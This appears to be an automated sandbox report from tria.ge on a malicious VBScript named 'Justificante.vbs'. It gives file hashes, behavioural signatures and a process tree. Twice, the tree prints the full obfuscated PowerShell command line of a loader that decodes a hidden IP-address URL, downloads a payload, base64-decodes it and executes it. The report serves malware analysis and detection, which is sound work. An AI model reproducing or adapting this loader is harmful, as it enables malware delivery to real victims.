Windows 7 deprecation
Windows 7 will be removed from tria.ge on 2025-03-31
Analysis
-
max time kernel
149s -
max time network
162s -
platform
windows10-2004_x64 -
resource
win10v2004-20230915-en -
resource tags
arch:x64arch:x86image:win10v2004-20230915-enlocale:en-usos:windows10-2004-x64system -
submitted
11/10/2023, 14:31
Static task
static1
Behavioral task
behavioral1
Sample
Justificante.vbs
Resource
win7-20230831-en
Behavioral task
behavioral2
Sample
Justificante.vbs
Resource
win10v2004-20230915-en
General
-
Target
Justificante.vbs
-
Size
23KB
-
MD5
c17a702d13da16d40d60d624866e5662
-
SHA1
21222a8d1c645ecccc07090558a93cc28844fd80
-
SHA256
3366e7cf0549781bef6c2690dd392ad34cfd7c3355e99f3d042256d6df2b4281
-
SHA512
ff41f3c65eff02bf8c9c97b3701422f9f48a76c5b3239d905db3a2b6799b9ba95dea2fda4be37403323418e18123370b57ceeddb92adcb474cd06bc508fa2fc9
-
SSDEEP
384:tDH9kcbBojN2IDLDpNXI+icmCPYoM5IZJuX7PvZDKZFdjiHf1Q4nBT:tDOcbBQ2IDLscmCPYoMX7PRKo3
Malware Config
Signatures
-
Blocklisted process makes network request 1 IoCs
flow pid Process 6 208 WScript.exe -
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-1926387074-3400613176-3566796709-1000\Control Panel\International\Geo\Nation WScript.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Suspicious behavior: EnumeratesProcesses 4 IoCs
pid Process 2004 powershell.exe 2004 powershell.exe 1888 powershell.exe 1888 powershell.exe -
Suspicious use of AdjustPrivilegeToken 2 IoCs
description pid Process Token: SeDebugPrivilege 2004 powershell.exe Token: SeDebugPrivilege 1888 powershell.exe -
Suspicious use of WriteProcessMemory 7 IoCs
description pid Process procid_target PID 208 wrote to memory of 4676 208 WScript.exe 85 PID 208 wrote to memory of 4676 208 WScript.exe 85 PID 208 wrote to memory of 2004 208 WScript.exe 87 PID 208 wrote to memory of 2004 208 WScript.exe 87 PID 2004 wrote to memory of 1888 2004 powershell.exe 90 PID 2004 wrote to memory of 1888 2004 powershell.exe 90 PID 2004 wrote to memory of 1888 2004 powershell.exe 90
Processes
-
C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Justificante.vbs"1⤵
- Blocklisted process makes network request
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:208 -
C:\Windows\System32\cmd.execmd.exe /c echo 802⤵PID:4676
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "Function Republikan9 ([String]$Subsurfa){$Ensp=$Subsurfa.toCharArray();For($Untech=5; $Untech -lt $Ensp.count-1; $Untech+=(5+1)){$Servic+=$Ensp[$Untech]};$Servic;}$Langfriste=Republikan9 'PersohAnafotKondetReptip Krom:Kearn/Spilt/Extor9Udlse4Synte.Udlov1Algot5Forpe6Wando.Inclu6Super.Hypom1Rense5Afreg8Linke/Encycb Secuugruppr SupeeUdlsnaAndriu frdikSacrarCylina Paynt Opfa.dehydqChefdxTransdInkvi ';$Servic01=Republikan9 'StudiiAlbumeStrmpxEpigr ';$Abonnr = Republikan9 'Unsat\forhasEbeltyDataasDossewUneduoOsmoswStrkk6 Perl4Space\ OutwWAntiliWeltenEmbardBeholo NoejwOverssFustlPUdskioRodinwGianteCurrirMudirSStaddh HetaeReascl BrillForud\ZydecvAnefa1Embed.Efter0Salvn\SjapipLigkioAlveow HatceFaldsr HemosBrushhFoeise AfvilTheokl Creo. SermeFlatfxPhytoeCarva ';.($Servic01) (Republikan9 'Bulbu$XyzlylBredsiweathc FalskHazineSkvadnMetap2Babep=Nomin$BaluseergotnSimiavMusli:HarnswtitteiSortenFrakod ErnriSynger Sysk ') ;.($Servic01) (Republikan9 'Konsu$SolskAFloydbBlodpoHalfhnshowenToejdrUndan= Slng$TheellSkyggiReagec kernk MadoeReclanAntip2Enlar+Rerin$EmissAIndfjbWordioVapoun BandnQuinqrNakke ') ;.($Servic01) (Republikan9 'Udbom$BrakksFormatCosmouFritidItoni Purpl=Freck Disti(Prvef(Underg Girdw AttamBuxeriUbefa Angrew SubviMandsn Papi3Unsym2 Hamp_StorkpRewarr slskoGarstc ProaekloaksIcerssTrici Tapet-AressFResel SerorPPasterPremaoMaksicOverde ReclsJanuascompuISammedTrior=Yderp$Lethe{SmokiPPostnIBalugD Indg}Faden)Udski.SigneCStberoTreasmMunkemCutchaEssonnGlasudBestyL Undvi MaarnEndoceblend)Radia Ibere-BastisReborpIpecalIndreiEmbrat Detr Embed[ForrecDisadhSkoleaDobber Filc]Polys3Later4Tilsj ');.($Servic01) (Republikan9 'Krige$KnappR AfkoeSejers MedihFloptaMolec Ruder=Forur Alien$BakkesBruget PhytuPediadSatis[Murer$BengtsBogfrt SawfuMecomdConta.CaritcSkotvoAmeliuPeggynBrothtTegne-Super2Krene]haglb ');.($Servic01) (Republikan9 'Vocal$SmuttBFastei UindoNontrc karb=Gartn(BagakTKvalieHockesHowketMazed-KosakP SlosaIndlet Mufthsnake Guldb$EducaAdilapbAnguioFormbnAdrianRollermanga)Putti Natur-RemarAToldbnBackpdImpon koll(Borge[ScreaIFtrewnInbust RovsPGangltOpprirStors] unen:Doner:FilmssUlvsriWorthzStaireOmstt Tiltu-ParkeeLimsyqForre Fasc8Stemm)Carom ') ;if ($Bioc) {.$Abonnr $Resha;} else {;$Servic00=Republikan9 ' FronSSkatttamyloaNainsr Burkt Grde-TakkeBflorsiLatintFormis KatzTMankorVagabaCroslnLettisIndicfPatteeFlgelrSatse Still-FremmSdybfroRachmuSubscrPolygc KoageWakon Misap$SkoggLConsia AngonNonveg FordfAsocir Afski DevisNannit OvereFontn Fatti-sunniDVendee RadusXenyltCognai ShienDagblaStilltSkaldiClamooPelikn Tvtt porse$HobbllPaabeiForencudmalkMetaleInoscn Dung2Colli ';.($Servic01) (Republikan9 'offen$PlagelJagtkiAerotcMonumkVerife ThernKvikk2Bened=Skovs$brande EscanDokumv Magu:ornitaDeverpSilvep UnprdFjeldaSwatttspalta Lept ') ;.($Servic01) (Republikan9 'SneppI RepimRajplpPertuo FilmrJudgmtNontr-mdrenM FluooDraged slavuMensulPhotoeNomol DukkeBMeniniSambhtBadass SubkTAsyndrKonvoaBenzin MrkvsVithuf Raake DoterTupil ') ;$licken2=$licken2+'\abiogeni.hng';while (-not $Rainerswhi) {.($Servic01) (Republikan9 'Siegf$FormaRScoreaSussuiRattlninduceCarthrOverosSadlewAfhughStensiJobeo=Nettl(TriphTNarkoeAgilisSkjultOverh- OverP trouaornamtSkvhohOctap Scupp$HypozlGammaiEngagcEquickNoteaeHoghonPropo2begri)Untra ') ;.($Servic01) $Servic00;.($Servic01) (Republikan9 ' prolSutilbtDreckaFarverFravitVidar-BremsSTappelJockeeBlokaeDemivpXanth Gttel5Formu ');}.($Servic01) (Republikan9 'Rappo$UdbytRautopeBlotcpGglsru PicobOverflMojotinectakGulliaTilstnSubku Volle=Chron AbstrGPrsideDiment Prod-fremvCBirdloHovedn ParatXenogeFaamanOutskt Menn cymo$ BalllWrathi SkrucUddankNonsee ClasnPerus2 Dyre ');.($Servic01) (Republikan9 'brdsk$DrejeS Uncou Phosb SphaaBicorlNonsptpinuseUdfalrNonco Teen=magtf Gazet[SaltlSForsoyHelmis Akkotunpuneoverwm Afsi.KlukkC ForgoKilobnOpkbevEnergeGerbirChrystManic]indfr: schc:HvlefFAdjunr MiksoBestrm FortBSkattaOpvaasOpgaveNewsy6Sudan4SigneSFjumstEkskurIroniiMogignHeathgcarbu( Affu$ NoteRDiscoeplenupvittuu Dirib ereplExcogiModulkTarieaDeludnForso) Grie ');.($Servic01) (Republikan9 'Indva$EmbosSForgreBedesrSuperv CirriTradecStrib2Pepsi Fodtu=Klaps Exan[ CameSDesbuyJohnisTurbatSodioeTheramMorse.orakeTDratve BevixsponstTroak.IndivEPussenPapircKongeoStartdKilogiGaonpnbenoigMedta]Inert: Guld:BrancA CoroS TickC thelI pempInonel.HelioGSprgseparaetCagesS SonotTensirDebati FeebnRunolg efte(Perso$FluemSRustnu unfobFarmha RentlVejent MedlePatrirAfren)Murri ');.($Servic01) (Republikan9 'Reval$TechiDKommurForeho Meloe AspamrecommKaffee Kult=Shape$DividSValgdeGaloprMillivBesini HookcPatho2Grabe.Frists PolluAfvenbDrivesBredbtRocker Equii BoksnServigTeleg( Afhs2 Oweb6 Foun7Overp6Denud2 Arbe3Maler, Grib2Sdeli5Succe0Giddy5Flssc4Mahog)Rumsk ');.($Servic01) $Droemme;}"2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2004 -
C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe" "Function Republikan9 ([String]$Subsurfa){$Ensp=$Subsurfa.toCharArray();For($Untech=5; $Untech -lt $Ensp.count-1; $Untech+=(5+1)){$Servic+=$Ensp[$Untech]};$Servic;}$Langfriste=Republikan9 'PersohAnafotKondetReptip Krom:Kearn/Spilt/Extor9Udlse4Synte.Udlov1Algot5Forpe6Wando.Inclu6Super.Hypom1Rense5Afreg8Linke/Encycb Secuugruppr SupeeUdlsnaAndriu frdikSacrarCylina Paynt Opfa.dehydqChefdxTransdInkvi ';$Servic01=Republikan9 'StudiiAlbumeStrmpxEpigr ';$Abonnr = Republikan9 'Unsat\forhasEbeltyDataasDossewUneduoOsmoswStrkk6 Perl4Space\ OutwWAntiliWeltenEmbardBeholo NoejwOverssFustlPUdskioRodinwGianteCurrirMudirSStaddh HetaeReascl BrillForud\ZydecvAnefa1Embed.Efter0Salvn\SjapipLigkioAlveow HatceFaldsr HemosBrushhFoeise AfvilTheokl Creo. SermeFlatfxPhytoeCarva ';.($Servic01) (Republikan9 'Bulbu$XyzlylBredsiweathc FalskHazineSkvadnMetap2Babep=Nomin$BaluseergotnSimiavMusli:HarnswtitteiSortenFrakod ErnriSynger Sysk ') ;.($Servic01) (Republikan9 'Konsu$SolskAFloydbBlodpoHalfhnshowenToejdrUndan= Slng$TheellSkyggiReagec kernk MadoeReclanAntip2Enlar+Rerin$EmissAIndfjbWordioVapoun BandnQuinqrNakke ') ;.($Servic01) (Republikan9 'Udbom$BrakksFormatCosmouFritidItoni Purpl=Freck Disti(Prvef(Underg Girdw AttamBuxeriUbefa Angrew SubviMandsn Papi3Unsym2 Hamp_StorkpRewarr slskoGarstc ProaekloaksIcerssTrici Tapet-AressFResel SerorPPasterPremaoMaksicOverde ReclsJanuascompuISammedTrior=Yderp$Lethe{SmokiPPostnIBalugD Indg}Faden)Udski.SigneCStberoTreasmMunkemCutchaEssonnGlasudBestyL Undvi MaarnEndoceblend)Radia Ibere-BastisReborpIpecalIndreiEmbrat Detr Embed[ForrecDisadhSkoleaDobber Filc]Polys3Later4Tilsj ');.($Servic01) (Republikan9 'Krige$KnappR AfkoeSejers MedihFloptaMolec Ruder=Forur Alien$BakkesBruget PhytuPediadSatis[Murer$BengtsBogfrt SawfuMecomdConta.CaritcSkotvoAmeliuPeggynBrothtTegne-Super2Krene]haglb ');.($Servic01) (Republikan9 'Vocal$SmuttBFastei UindoNontrc karb=Gartn(BagakTKvalieHockesHowketMazed-KosakP SlosaIndlet Mufthsnake Guldb$EducaAdilapbAnguioFormbnAdrianRollermanga)Putti Natur-RemarAToldbnBackpdImpon koll(Borge[ScreaIFtrewnInbust RovsPGangltOpprirStors] unen:Doner:FilmssUlvsriWorthzStaireOmstt Tiltu-ParkeeLimsyqForre Fasc8Stemm)Carom ') ;if ($Bioc) {.$Abonnr $Resha;} else {;$Servic00=Republikan9 ' FronSSkatttamyloaNainsr Burkt Grde-TakkeBflorsiLatintFormis KatzTMankorVagabaCroslnLettisIndicfPatteeFlgelrSatse Still-FremmSdybfroRachmuSubscrPolygc KoageWakon Misap$SkoggLConsia AngonNonveg FordfAsocir Afski DevisNannit OvereFontn Fatti-sunniDVendee RadusXenyltCognai ShienDagblaStilltSkaldiClamooPelikn Tvtt porse$HobbllPaabeiForencudmalkMetaleInoscn Dung2Colli ';.($Servic01) (Republikan9 'offen$PlagelJagtkiAerotcMonumkVerife ThernKvikk2Bened=Skovs$brande EscanDokumv Magu:ornitaDeverpSilvep UnprdFjeldaSwatttspalta Lept ') ;.($Servic01) (Republikan9 'SneppI RepimRajplpPertuo FilmrJudgmtNontr-mdrenM FluooDraged slavuMensulPhotoeNomol DukkeBMeniniSambhtBadass SubkTAsyndrKonvoaBenzin MrkvsVithuf Raake DoterTupil ') ;$licken2=$licken2+'\abiogeni.hng';while (-not $Rainerswhi) {.($Servic01) (Republikan9 'Siegf$FormaRScoreaSussuiRattlninduceCarthrOverosSadlewAfhughStensiJobeo=Nettl(TriphTNarkoeAgilisSkjultOverh- OverP trouaornamtSkvhohOctap Scupp$HypozlGammaiEngagcEquickNoteaeHoghonPropo2begri)Untra ') ;.($Servic01) $Servic00;.($Servic01) (Republikan9 ' prolSutilbtDreckaFarverFravitVidar-BremsSTappelJockeeBlokaeDemivpXanth Gttel5Formu ');}.($Servic01) (Republikan9 'Rappo$UdbytRautopeBlotcpGglsru PicobOverflMojotinectakGulliaTilstnSubku Volle=Chron AbstrGPrsideDiment Prod-fremvCBirdloHovedn ParatXenogeFaamanOutskt Menn cymo$ BalllWrathi SkrucUddankNonsee ClasnPerus2 Dyre ');.($Servic01) (Republikan9 'brdsk$DrejeS Uncou Phosb SphaaBicorlNonsptpinuseUdfalrNonco Teen=magtf Gazet[SaltlSForsoyHelmis Akkotunpuneoverwm Afsi.KlukkC ForgoKilobnOpkbevEnergeGerbirChrystManic]indfr: schc:HvlefFAdjunr MiksoBestrm FortBSkattaOpvaasOpgaveNewsy6Sudan4SigneSFjumstEkskurIroniiMogignHeathgcarbu( Affu$ NoteRDiscoeplenupvittuu Dirib ereplExcogiModulkTarieaDeludnForso) Grie ');.($Servic01) (Republikan9 'Indva$EmbosSForgreBedesrSuperv CirriTradecStrib2Pepsi Fodtu=Klaps Exan[ CameSDesbuyJohnisTurbatSodioeTheramMorse.orakeTDratve BevixsponstTroak.IndivEPussenPapircKongeoStartdKilogiGaonpnbenoigMedta]Inert: Guld:BrancA CoroS TickC thelI pempInonel.HelioGSprgseparaetCagesS SonotTensirDebati FeebnRunolg efte(Perso$FluemSRustnu unfobFarmha RentlVejent MedlePatrirAfren)Murri ');.($Servic01) (Republikan9 'Reval$TechiDKommurForeho Meloe AspamrecommKaffee Kult=Shape$DividSValgdeGaloprMillivBesini HookcPatho2Grabe.Frists PolluAfvenbDrivesBredbtRocker Equii BoksnServigTeleg( Afhs2 Oweb6 Foun7Overp6Denud2 Arbe3Maler, Grib2Sdeli5Succe0Giddy5Flssc4Mahog)Rumsk ');.($Servic01) $Droemme;}"3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1888
-
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82